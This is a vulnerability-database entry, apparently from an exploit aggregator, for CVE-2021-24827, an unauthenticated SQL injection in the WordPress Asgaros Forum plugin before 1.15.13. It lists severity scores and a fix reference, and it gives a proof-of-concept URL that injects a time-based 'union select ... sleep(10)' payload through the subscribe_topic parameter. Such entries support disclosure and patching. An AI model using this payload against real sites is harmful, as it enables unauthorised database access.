Exploit for Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection

CVE-2021-24827

wpexploit · 2021-10-11

Description

Asgaros Forum SQL Injection 1.15.1

Entry point

Parametersubscribe_topic · query param

Pathforum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)

Unauthenticated SQL injection via unsafely validated/escaped subscribe_topic parameter used in SQL statement

Affected Asgaros Asgaros Forum versions

Asgaros Asgaros Forum< 1.15.13

All known vulnerabilities by product

Asgaros Forum

CVSS 9.8 for CVE-2021-24827

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

EPSS Score

13.3%higher than 95.9% of all CVEs

Updated 2026-06-27

References

https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum

Exploit Details

Modified:2021-11-07 08:48

Last Seen:2021-11-26 19:10

Reporter:JrXnm

Other exploits for CVE-2021-24827

WordPress Asgaros Forum < 1.15.13 SQL Injection

2021-10-20 Dsquare SecurityD2

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:36CC5151-1D5E-4874-BCEC-3B6326235DB1
https://example.com/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)

Exploit Code

Share

Share on social media: